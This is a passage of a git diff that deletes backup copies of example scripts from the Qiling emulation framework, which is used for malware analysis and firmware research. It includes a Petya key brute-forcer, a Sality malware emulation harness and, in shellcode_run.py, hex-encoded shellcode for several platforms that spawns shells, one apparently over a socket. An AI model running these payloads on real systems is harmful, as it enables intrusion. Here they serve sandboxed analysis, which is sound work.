qiling.extensions.mcu.stm32f4 import stm32f411 - -def stm32f411_dma(): - ql = Qiling(["../rootfs/mcu/stm32f411/dma-clock.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) - - ql.hw.create('usart2').watch() - ql.hw.create('dma1').watch() - ql.hw.create('rcc') - - ql.run(count=200000) - buf = ql.hw.usart2.recv() - - ## check timestamp - tick = [int(x) for x in buf.split()] - for i in range(1, len(tick)): - assert(4 <= tick[i] - tick[i - 1] <= 6) - -if __name__ == "__main__": - stm32f411_dma() \ No newline at end of file diff --git a/examples/mcu/stm32f411_freertos.py.orig b/examples/mcu/stm32f411_freertos.py.orig deleted file mode 100644 index ee003f141..000000000 --- a/examples/mcu/stm32f411_freertos.py.orig +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f411 - - -def stm32f411_freertos(): - ql = Qiling(["../rootfs/mcu/stm32f411/os-demo.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) - - ql.hw.create('usart2').watch() - ql.hw.create('gpioa').watch() - ql.hw.create('rcc') - - ql.hw.systick.set_ratio(100) - ql.run(count=200000) - -if __name__ == "__main__": - stm32f411_freertos() \ No newline at end of file diff --git a/examples/mcu/stm32f411_gpio_hook.py.orig b/examples/mcu/stm32f411_gpio_hook.py.orig deleted file mode 100644 index 5fbb23979..000000000 --- a/examples/mcu/stm32f411_gpio_hook.py.orig +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f411 - -def test_mcu_gpio_stm32f411(): - ql = Qiling(["../../examples/rootfs/mcu/stm32f411/hello_gpioA.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) - - ql.hw.create('usart2').watch() - ql.hw.create('rcc').watch() - ql.hw.create('gpioa').watch() - - - ql.hw.gpioa.hook_set(5, lambda: print('LED light up')) - ql.hw.gpioa.hook_reset(5, lambda: print('LED light off')) - - ql.run(count=10000) - -if __name__ == "__main__": - test_mcu_gpio_stm32f411() diff --git a/examples/mcu/stm32f411_i2c_lcd.py.orig b/examples/mcu/stm32f411_i2c_lcd.py.orig deleted file mode 100644 index 48b143834..000000000 --- a/examples/mcu/stm32f411_i2c_lcd.py.orig +++ /dev/null @@ -1,50 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.hw.external_device.lcd.lcd1602 import PyGameLCD1602 -from qiling.extensions.mcu.stm32f4 import stm32f411 - -def create(path, lcd): - ql = Qiling([path], archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) - - ql.hw.create('i2c1') - ql.hw.create('rcc') - ql.hw.create('gpioa') - ql.hw.create('gpiob') - - ql.hw.i2c1.watch() - ql.hw.i2c1.connect(lcd) - - ql.hw.systick.set_ratio(100) - - return ql - -if __name__ == "__main__": - lcd = PyGameLCD1602() - - ## Example 1 - create("../rootfs/mcu/stm32f411/i2c-lcd.hex", lcd).run(count=50000) - - ## Example 2 - create("../rootfs/mcu/stm32f411/lcd-plus.hex", lcd).run(count=100000) - - ## Example 3 - ql = create("../rootfs/mcu/stm32f411/i2cit-lcd.hex", lcd) - - delay_start = 0x8002936 - delay_end = 0x8002955 - def skip_delay(ql): - ql.arch.regs.pc = delay_end - - ql.hook_address(skip_delay, delay_start) - ql.run(count=100000) - - lcd.quit() diff --git a/examples/mcu/stm32f411_interact_usart.py.orig b/examples/mcu/stm32f411_interact_usart.py.orig deleted file mode 100644 index 19f5ba839..000000000 --- a/examples/mcu/stm32f411_interact_usart.py.orig +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - - -import sys -sys.path.append("../..") - -import time -import threading - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f411 - - -ql = Qiling(["../../examples/rootfs/mcu/stm32f411/md5_server.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF) - -ql.hw.create('usart2') -ql.hw.create('rcc') - -threading.Thread(target=lambda : ql.run(count=-1)).start() - -while True: - message = input('>> ').encode() - - ql.hw.usart2.send(message + b'\n') - - time.sleep(0.8) - print(ql.hw.usart2.recv()) diff --git a/examples/mcu/stm32f411_spi_oled12864.py.orig b/examples/mcu/stm32f411_spi_oled12864.py.orig deleted file mode 100644 index 69fdcb707..000000000 --- a/examples/mcu/stm32f411_spi_oled12864.py.orig +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f411 -from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi - -ql = Qiling(['../rootfs/mcu/stm32f411/oled12864.hex'], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - -ql.hw.create('rcc') -ql.hw.create('gpioa') -ql.hw.create('gpiob') -ql.hw.create('gpioc') -ql.hw.create('spi1') - -oled = PyGameSSD1306Spi(dc=(ql.hw.gpioc, 7)) - -ql.hw.systick.ratio = 2000 - -ql.hw.spi1.connect(oled) -ql.run(count=1000000) diff --git a/examples/mem_invalid_access.py.orig b/examples/mem_invalid_access.py.orig deleted file mode 100644 index 38097b037..000000000 --- a/examples/mem_invalid_access.py.orig +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def mem_crash(ql: Qiling, access: int, address: int, size: int, value: int): - print(f'got crash') - - PAGE_SIZE = ql.mem.pagesize - aligned = ql.mem.align(address) - - # map the entire page containing the invalid address and fill it with 'Q's - ql.mem.map(aligned, PAGE_SIZE) - ql.mem.write(aligned, b'Q' * PAGE_SIZE) - -if __name__ == "__main__": - ql = Qiling(["rootfs/x8664_linux/bin/mem_invalid_access"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - - ql.hook_mem_invalid(mem_crash) - ql.run() diff --git a/examples/multithreading_arm64_linux.py.orig b/examples/multithreading_arm64_linux.py.orig deleted file mode 100644 index 25104efe7..000000000 --- a/examples/multithreading_arm64_linux.py.orig +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True) - ql.run() - -if __name__ == "__main__": - my_sandbox(["rootfs/arm64_linux/bin/arm64_multithreading"], "rootfs/arm64_linux") diff --git a/examples/multithreading_mips32_linux.py.orig b/examples/multithreading_mips32_linux.py.orig deleted file mode 100644 index 2c26e039a..000000000 --- a/examples/multithreading_mips32_linux.py.orig +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True) - ql.run() - -if __name__ == "__main__": - my_sandbox(["rootfs/mips32_linux/bin/mips32_multithreading"], "rootfs/mips32_linux") diff --git a/examples/multithreading_mips32el_linux.py.orig b/examples/multithreading_mips32el_linux.py.orig deleted file mode 100644 index 9d21dd8b6..000000000 --- a/examples/multithreading_mips32el_linux.py.orig +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True) - ql.run() - -if __name__ == "__main__": - my_sandbox(["rootfs/mips32el_linux/bin/mips32el_multithreading"], "rootfs/mips32el_linux") diff --git a/examples/multithreading_x86_windows.py.orig b/examples/multithreading_x86_windows.py.orig deleted file mode 100644 index fb5bad7e2..000000000 --- a/examples/multithreading_x86_windows.py.orig +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling - -if __name__ == "__main__": - ql = Qiling(["rootfs/x86_windows/bin/MultiThread.exe"], "rootfs/x86_windows") - ql.run() diff --git a/examples/netgear_6220_mips32el_linux.py.orig b/examples/netgear_6220_mips32el_linux.py.orig deleted file mode 100644 index 06299773c..000000000 --- a/examples/netgear_6220_mips32el_linux.py.orig +++ /dev/null @@ -1,75 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -# After mapping /proc there will be a /dev/mtdblock11 missing and crash -# To fix this, -# - cd $yourfirmware_rootfs/dev -# - dd if=/dev/zero of=mtdblock11 bs=1024 count=129030 -# - mkfs.ext4 mtdblock11 -# -# This firmware will more or less alive now. - -from colorama import Back -import struct -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_VERBOSE -from qiling.os.posix import syscall -from qiling.os.const import UINT, POINTER - -def my_syscall_write(ql, write_fd, write_buf, write_count, *rest): - if write_fd == 2 and ql.os.fd[2].__class__.__name__ == 'ql_pipe': - return -1 - else: - return syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *rest) - - -def my_bind(ql: Qiling): - params = ql.os.resolve_fcall_params({ - 'fd': UINT, - 'addr': POINTER, - 'addrlen': UINT - }) - - bind_fd = params['fd'] - bind_addr = params['addr'] - bind_addrlen = params['addrlen'] - - print(Back.GREEN + f'Hijack bind({bind_fd}, {bind_addr:#x}, {bind_addrlen})' + Back.RESET) - # read from memory (start_address, len) - data = ql.mem.read(bind_addr, bind_addrlen) - # custom unpack (your own ql.unpack) of a C struct from memory - # https://linux.die.net/man/7/ip -> struct - sin_family = struct.unpack(" format_string -> https://docs.python.org/3/library/struct.html#format-strings - port, host = struct.unpack(">HI", data[2:8]) - # big-endian unsigned short, unsigned int -> format_string - print(Back.RED + f'[*] Socket Infos:' + Back.RESET) - print(f''' - Family: {sin_family} - Port: {port} (no root: +8000) - Host-interface?: {host} - ''') - return 0 # from syscall.ql_syscall_bind(ql, bind_fd, bind_addr, bind_addrlen) - -def my_netgear(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, profile="netgear_6220.ql", multithread=False) - ql.os.root = False - - ql.add_fs_mapper('/proc', '/proc') - ql.os.set_syscall(4004, my_syscall_write) - ql.os.set_api('bind', my_bind, QL_INTERCEPT.ENTER) # intercepting the bind call on enter - - ql.run() - -if __name__ == "__main__": - my_netgear(["rootfs/netgear_r6220/bin/mini_httpd", - "-d", "/www", - "-r", "NETGEAR R6220", - "-c", "**.cgi", - "-t", "300"], - "rootfs/netgear_r6220") diff --git a/examples/ntQuerySystemInfo_x86.py.orig b/examples/ntQuerySystemInfo_x86.py.orig deleted file mode 100644 index a4d5c9dcf..000000000 --- a/examples/ntQuerySystemInfo_x86.py.orig +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling - -if __name__ == "__main__": - ql = Qiling(["rootfs/x86_windows/bin/NtQuerySystemInformation.exe"], "rootfs/x86_windows", libcache=True) - ql.run() diff --git a/examples/petya_8086_crack.py.orig b/examples/petya_8086_crack.py.orig deleted file mode 100644 index 752202690..000000000 --- a/examples/petya_8086_crack.py.orig +++ /dev/null @@ -1,106 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -from itertools import product -import struct -import curses -import sys - -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE -from qiling.os.disk import QlDisk - -verfication_start_ip = 0x850B -petya_2nd_stage_start = 0x8000 -accepted_chars = "ABCDEFG123456789abcdefghijkmnopqrstuvwx" - -def generate_key(key: bytes): - return b"".join([struct.pack("BB", (k + 0x7A)%256, k*2%256) for k in key]) - -def stop(ql: Qiling, addr, data): - ql.emu_stop() - -def one_round(ql: Qiling, key: bytes, key_address): - gkeys = generate_key(key) - ql.mem.write(key_address, gkeys) - ql.run(begin=verfication_start_ip, end=verfication_start_ip+6) - lba37 = ql.mem.read(ql.arch.regs.sp + 0x220, 0x200) - for ch in lba37: - if ch != 0x37: - return False - return True - -# In this stage, we show that the password is correct. -def third_stage(key): - def pass_red(ql, addr, data): - curses.ungetch(ord("\n")) - curses.ungetch(ord("\r")) - - def input_key(ql, addr, data): - for i in key[::-1]: - curses.ungetch(i) - curses.ungetch(ord("\n")) - curses.ungetch(ord("\r")) - - ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"], - "rootfs/8086", - console=False, - verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80)) - ql.hook_code(pass_red, begin=0x886d, end=0x886d) - ql.hook_code(input_key, begin=0x85f0, end=0x85f0) - ql.hook_code(stop, begin=0x6806, end=0x6806) - ql.run() - -# In this stage, we will crack for the password. -def second_stage(ql: Qiling): - disk = QlDisk("rootfs/8086/petya/out_1M.raw", 0x80) - #nonce = get_nonce(disk) - verfication_data = disk.read_sectors(0x37, 1) - nonce_data = disk.read_sectors(0x36, 1) - ql.arch.regs.sp -= 0x200 - verification_data_address = ql.arch.regs.sp - ql.arch.regs.sp -= 0x200 - nonce_address = ql.arch.regs.sp + 0x21 - ql.arch.regs.sp -= 0x20 - key_address = ql.arch.regs.sp - ql.mem.write(verification_data_address, verfication_data) - ql.mem.write(nonce_address - 0x21, nonce_data) - ql.arch.stack_push(0x200) - ql.arch.stack_push(verification_data_address) - ql.arch.stack_push(0) - ql.arch.stack_push(nonce_address) - ql.arch.stack_push(key_address) - for x in product(list(accepted_chars), repeat=2): - ctx = ql.save() - # 3xMxjxXxLxoxmxAx - key = b"3xMxjxXxLxoxmx" + ("".join(x)).encode("utf-8") - print(f"Trying: {key}") - if one_round(ql, key, key_address): - print(f"Key: {key}") - return key - else: - ql.restore(ctx) - return None - -# In this stage, we have to wait for petya being load to the right place. -def first_stage(): - ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"], - "rootfs/8086", - console=False, - verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80)) - # Workaround for `until` in uc_emu_start not working with dynamic loaded code. - ql.hook_code(stop, begin=petya_2nd_stage_start, end=petya_2nd_stage_start) - ql.run() - return ql - -if __name__ == "__main__": - - ql = first_stage() - key = second_stage(ql) - third_stage(key) \ No newline at end of file diff --git a/examples/regdemo_x86_windows.py.orig b/examples/regdemo_x86_windows.py.orig deleted file mode 100644 index ab3ac1ad4..000000000 --- a/examples/regdemo_x86_windows.py.orig +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.run() - -if __name__ == "__main__": - my_sandbox(["rootfs/x86_windows/bin/RegDemo.exe"], "rootfs/x86_windows") diff --git a/examples/sality.py.orig b/examples/sality.py.orig deleted file mode 100644 index 22d6f6515..000000000 --- a/examples/sality.py.orig +++ /dev/null @@ -1,215 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -from unicorn import UcError - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE -from qiling.os.const import POINTER, DWORD, STRING, HANDLE -from qiling.os.windows import utils -from qiling.os.windows.api import * -from qiling.os.windows.fncc import * -from qiling.os.windows.dlls.kernel32.fileapi import _CreateFile - -def init_unseen_symbols(ql: Qiling, address: int, name: str, ordinal: int, dll_name: str): - ql.loader.import_symbols[address] = { - "name": name, - "ordinal": ordinal, - "dll": dll_name.partition('.')[0] - } - - ql.loader.import_address_table[dll_name][name] = address - - if ordinal != 0: - ql.loader.import_address_table[dll_name][ordinal] = address - - -# HANDLE CreateThread( -# LPSECURITY_ATTRIBUTES lpThreadAttributes, -# SIZE_T dwStackSize, -# LPTHREAD_START_ROUTINE lpStartAddress, -# __drv_aliasesMem LPVOID lpParameter, -# DWORD dwCreationFlags, -# LPDWORD lpThreadId -# ); -@winsdkapi(cc=STDCALL, params={ - 'lpThreadAttributes' : LPSECURITY_ATTRIBUTES, - 'dwStackSize' : SIZE_T, - 'lpStartAddress' : LPTHREAD_START_ROUTINE, - 'lpParameter' : LPVOID, - 'dwCreationFlags' : DWORD, - 'lpThreadId' : LPDWORD -}) -def hook_CreateThread(ql: Qiling, address: int, params): - # set thread handle - return 1 - -# HANDLE CreateFileA( -# LPCSTR lpFileName, -# DWORD dwDesiredAccess, -# DWORD dwShareMode, -# LPSECURITY_ATTRIBUTES lpSecurityAttributes, -# DWORD dwCreationDisposition, -# DWORD dwFlagsAndAttributes, -# HANDLE hTemplateFile -# ); -@winsdkapi(cc=STDCALL, params={ - 'lpFileName' : LPCSTR, - 'dwDesiredAccess' : DWORD, - 'dwShareMode' : DWORD, - 'lpSecurityAttributes' : LPSECURITY_ATTRIBUTES, - 'dwCreationDisposition' : DWORD, - 'dwFlagsAndAttributes' : DWORD, - 'hTemplateFile' : HANDLE -}) -def hook_CreateFileA(ql: Qiling, address: int, params): - lpFileName = params["lpFileName"] - if lpFileName.startswith("\\\\.\\"): - if ql.amsint32_driver: - return 0x13371337 - else: - return (-1) - else: - ret = _CreateFile(ql, address, params) - return ret - -def _WriteFile(ql: Qiling, address: int, params): - ret = 1 - hFile = params["hFile"] - lpBuffer = params["lpBuffer"] - nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"] - lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"] - #lpOverlapped = params["lpOverlapped"] - - if hFile == 0xfffffff5: - s = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) - ql.os.stdout.write(s) - ql.os.stats.log_string(s.decode()) - ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite) - else: - f = ql.os.handle_manager.get(hFile) - if f is None: - # Invalid handle - ql.os.last_error = 0xffffffff - return 0 - else: - f = f.obj - buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) - f.write(bytes(buffer)) - ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4) - return ret - -@winsdkapi(cc=STDCALL, params={ - 'hFile' : HANDLE, - 'lpBuffer' : LPCVOID, - 'nNumberOfBytesToWrite' : DWORD, - 'lpNumberOfBytesWritten' : LPDWORD, - 'lpOverlapped' : LPOVERLAPPED -}) -def hook_WriteFile(ql: Qiling, address: int, params): - hFile = params["hFile"] - lpBuffer = params["lpBuffer"] - nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"] - lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"] - if hFile == 0x13371337: - buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) - try: - nNumberOfBytesToWrite = utils.io_Write(ql.amsint32_driver, buffer) - ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4) - except Exception: - ql.log.exception("") - r = False - else: - r = True - - return int(r) - - else: - return _WriteFile(ql, address, params) - - -# BOOL StartServiceA( -# SC_HANDLE hService, -# DWORD dwNumServiceArgs, -# LPCSTR *lpServiceArgVectors -# ); -@winsdkapi(cc=STDCALL, params={ - 'hService' : SC_HANDLE, - 'dwNumServiceArgs' : DWORD, - 'lpServiceArgVectors' : POINTER -}) -def hook_StartServiceA(ql: Qiling, address: int, params): - try: - hService = params["hService"] - service_handle = ql.os.handle_manager.get(hService) - if service_handle.name == "amsint32": - if service_handle.name in ql.os.services: - service_path = ql.os.services[service_handle.name] - service_path = ql.os.path.transform_to_real_path(service_path) - - ql.amsint32_driver = Qiling([service_path], ql.rootfs, verbose=QL_VERBOSE.DEBUG) - ntoskrnl = ql.amsint32_driver.loader.get_image_by_name("ntoskrnl.exe") - assert ntoskrnl, 'ntoskernl.exe was not loaded' - - init_unseen_symbols(ql.amsint32_driver, ntoskrnl.base+0xb7695, b"NtTerminateProcess", 0, "ntoskrnl.exe") - #ql.amsint32_driver.debugger= ":9999" - try: - ql.amsint32_driver.load() - return 1 - except UcError as e: - print("Load driver error: ", e) - return 0 - else: - return 0 - else: - return 1 - except Exception as e: - ql.log.exception("") - print (e) - - -def hook_stop_address(ql): - print(" >>>> Stop address: 0x%08x" % ql.arch.regs.arch_pc) - ql.emu_stop() - - -if __name__ == "__main__": - ql = Qiling(["../examples/rootfs/x86_windows/bin/sality.dll"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG, libcache=True) - - # for this module - ql.amsint32_driver = None - - # emulate some Windows API - ql.os.set_api("CreateThread", hook_CreateThread) - ql.os.set_api("CreateFileA", hook_CreateFileA) - ql.os.set_api("WriteFile", hook_WriteFile) - ql.os.set_api("StartServiceA", hook_StartServiceA) - #init sality - ql.hook_address(hook_stop_address, 0x40EFFB) - ql.run() - # run driver thread - - # execution is about to resume from 0x4053B2, which essentially jumps to ExitThread (kernel32.dll). - # Set ExitThread exit code to 0 - ql.os.fcall = ql.os.fcall_select(STDCALL) - ql.os.fcall.writeParams(((DWORD, 0),)) - - ql.hook_address(hook_stop_address, 0x4055FA) - ql.run(0x4053B2) - ql.log.info("test kill thread") - if ql.amsint32_driver: - utils.io_Write(ql.amsint32_driver, ql.pack32(0xdeadbeef)) - - # TODO: Should stop at 0x10423, but for now just stop at 0x0001066a - ql.amsint32_driver.hook_address(hook_stop_address, 0x0001066a) - - # TODO: not sure whether this one is really STDCALL - ql.amsint32_driver.os.fcall = ql.amsint32_driver.os.fcall_select(STDCALL) - ql.amsint32_driver.os.fcall.writeParams(((DWORD, 0),)) - - ql.amsint32_driver.run(begin=0x102D0) diff --git a/examples/setexit_arm64_linux.py.orig b/examples/setexit_arm64_linux.py.orig deleted file mode 100644 index 8d8b5866e..000000000 --- a/examples/setexit_arm64_linux.py.orig +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def run_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.run(end=0x7fffb7e98af4) - -if __name__ == "__main__": - run_sandbox(["rootfs/arm64_linux/bin/arm64_hello"], "rootfs/arm64_linux") diff --git a/examples/shellcode_run.py.orig b/examples/shellcode_run.py.orig deleted file mode 100644 index c7e189696..000000000 --- a/examples/shellcode_run.py.orig +++ /dev/null @@ -1,107 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE - -X86_LIN = bytes.fromhex('31c050682f2f7368682f62696e89e3505389e1b00bcd80') -X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') - -MIPS32EL_LIN = bytes.fromhex(''' - ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e - 2f7368 -''') - -X86_WIN = bytes.fromhex(''' - fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c - 617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b5920 - 01d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475 - e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ff - e05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd5 - 3c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300 -''') - -X8664_WIN = bytes.fromhex(''' - fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52 - 183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1 - c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0 - 746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d - 31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b - 40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e - 595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7 - c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd5 - 4831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373 - 616765426f7800 -''') - -ARM_LIN = bytes.fromhex(''' - 01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27 - 0221301c01df0139fbd505a0921a05b469460b2701dfc046020012340a000202 - 2f73797374656d2f62696e2f736800 -''') - -ARM64_LIN = bytes.fromhex(''' - 420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2 - 681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f1 - 65ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f000001 - 2f62696e2f736800 -''') - -X8664_FBSD = bytes.fromhex(''' - 6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c210 - 0f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8 - 523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48 - ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05 -''') - -X8664_MACOS = bytes.fromhex(''' - 4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b - 0f05 -''') - - -if __name__ == "__main__": - print("\nLinux ARM 64bit Shellcode") - ql = Qiling(code=ARM64_LIN, archtype=QL_ARCH.ARM64, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) - ql.run() - - print("\nLinux ARM 32bit Shellcode") - ql = Qiling(code=ARM_LIN, archtype=QL_ARCH.ARM, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) - ql.run() - - print("\nLinux x86 32bit Shellcode") - ql = Qiling(code=X86_LIN, archtype=QL_ARCH.X86, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) - ql.run() - - print("\nLinux MIPS 32bit EL Shellcode") - ql = Qiling(code=MIPS32EL_LIN, archtype=QL_ARCH.MIPS, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) - ql.run() - - print("\nLinux x86-64 Shellcode") - ql = Qiling(code=X8664_LIN, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) - ql.run() - - print("\nWindows x86 Shellcode") - ql = Qiling(code=X86_WIN, archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x86_windows') - ql.run() - - print("\nWindows x86-64 Shellcode") - ql = Qiling(code=X8664_WIN, archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x8664_windows') - ql.run() - - # FIXME: freebsd sockets are currently broken. - # - # print("\nFreeBSD x86-64 Shellcode") - # ql = Qiling(code=X8664_FBSD, archtype=QL_ARCH.X8664, ostype=QL_OS.FREEBSD, verbose=QL_VERBOSE.DEBUG) - # ql.run() - - # FIXME: macos shellcode loader is currently broken - # - # print("\nMacOS x86-64 Shellcode") - # ql = Qiling(code=X8664_MACOS, archtype=QL_ARCH.X8664, ostype=QL_OS.MACOS, verbose=QL_VERBOSE.DEBUG) - # ql.run() diff --git a/examples/simple_efi_x8664.py.orig b/examples/simple_efi_x8664.py.orig deleted file mode 100644 index c6410b0c8..000000000 --- a/examples/simple_efi_x8664.py.orig +++ /dev/null @@ -1,46 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import pickle - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_VERBOSE -from qiling.os.uefi.const import EFI_SUCCESS, EFI_INVALID_PARAMETER -from qiling.os.uefi.utils import execute_protocol_notifications, signal_event - -def force_notify_RegisterProtocolNotify(ql: Qiling, address: int, params): - event_id = params['Event'] - - if event_id in ql.loader.events: - # let's force notify - event = ql.loader.events[event_id] - event['Guid'] = params["Protocol"] - event["Set"] = False - - signal_event(ql, event_id) - execute_protocol_notifications(ql, True) - - return EFI_SUCCESS - - return EFI_INVALID_PARAMETER - -def my_onenter(ql: Qiling, address: int, params): - print(f'[onenter] CopyMem : params = {params}') - - return address, params - -if __name__ == "__main__": - with 